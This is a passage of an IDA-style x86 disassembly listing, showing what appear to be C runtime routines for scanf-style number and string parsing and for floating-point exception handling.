		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi

loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5

loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C328
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al

loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C534
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------

loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi

loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1

loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------

loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58

loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------

loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax

loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx

loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F

loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C534, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------

loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------

loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C534, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------

loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280

loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F

loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------

loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------

loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D

loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C534, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------

loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C534, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------

loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D

loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------

loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi

loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0

loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]

loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di

loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------

loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C328
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]

loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax

loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------

loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h

loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D

loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------

loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]

loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------

loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4

loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CCA0, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB2A8, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h

loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CCA0, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------

loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------

loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------

loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx

loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 26503C1h
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh

loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh

loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h

loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh

loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh

loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------

loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx

loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------

loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------

loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx

loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
